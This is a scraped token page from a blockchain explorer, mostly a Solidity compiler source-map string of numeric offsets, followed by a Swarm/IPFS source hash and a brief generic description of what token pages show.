4772:248::-;4840:6;4848;4901:2;4889:9;4880:7;4876:23;4872:32;4869:52;;;4917:1;4914;4907:12;4869:52;-1:-1:-1;;4940:23:1;;;5010:2;4995:18;;;4982:32;;-1:-1:-1;4772:248:1:o;5025:356::-;5227:2;5209:21;;;5246:18;;;5239:30;5305:34;5300:2;5285:18;;5278:62;5372:2;5357:18;;5025:356::o;5386:127::-;5447:10;5442:3;5438:20;5435:1;5428:31;5478:4;5475:1;5468:15;5502:4;5499:1;5492:15;5518:127;5579:10;5574:3;5570:20;5567:1;5560:31;5610:4;5607:1;5600:15;5634:4;5631:1;5624:15;5650:135;5689:3;5710:17;;;5707:43;;5730:18;;:::i;:::-;-1:-1:-1;5777:1:1;5766:13;;5650:135::o;8225:128::-;8292:9;;;8313:11;;;8310:37;;;8327:18;;:::i;8490:251::-;8560:6;8613:2;8601:9;8592:7;8588:23;8584:32;8581:52;;;8629:1;8626;8619:12;8581:52;8661:9;8655:16;8680:31;8705:5;8680:31;:::i;8746:980::-;9008:4;9056:3;9045:9;9041:19;9087:6;9076:9;9069:25;9113:2;9151:6;9146:2;9135:9;9131:18;9124:34;9194:3;9189:2;9178:9;9174:18;9167:31;9218:6;9253;9247:13;9284:6;9276;9269:22;9322:3;9311:9;9307:19;9300:26;;9361:2;9353:6;9349:15;9335:29;;9382:1;9392:195;9406:6;9403:1;9400:13;9392:195;;;9471:13;;-1:-1:-1;;;;;9467:39:1;9455:52;;9562:15;;;;9527:12;;;;9503:1;9421:9;9392:195;;;-1:-1:-1;;;;;;;9643:32:1;;;;9638:2;9623:18;;9616:60;-1:-1:-1;;;9707:3:1;9692:19;9685:35;9604:3;8746:980;-1:-1:-1;;;8746:980:1:o;9731:168::-;9804:9;;;9835;;9852:15;;;9846:22;;9832:37;9822:71;;9873:18;;:::i;9904:217::-;9944:1;9970;9960:132;;10014:10;10009:3;10005:20;10002:1;9995:31;10049:4;10046:1;10039:15;10077:4;10074:1;10067:15;9960:132;-1:-1:-1;10106:9:1;;9904:217::o;10908:245::-;10987:6;10995;11048:2;11036:9;11027:7;11023:23;11019:32;11016:52;;;11064:1;11061;11054:12;11016:52;-1:-1:-1;;11087:16:1;;11143:2;11128:18;;;11122:25;11087:16;;11122:25;;-1:-1:-1;10908:245:1:o;11158:125::-;11223:9;;;11244:10;;;11241:36;;;11257:18;;:::i

Swarm Source

ipfs://98f34e908674a10d93f0e46189a5d5f8733b53a1639dd1cbf6a6fba3c2594784
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.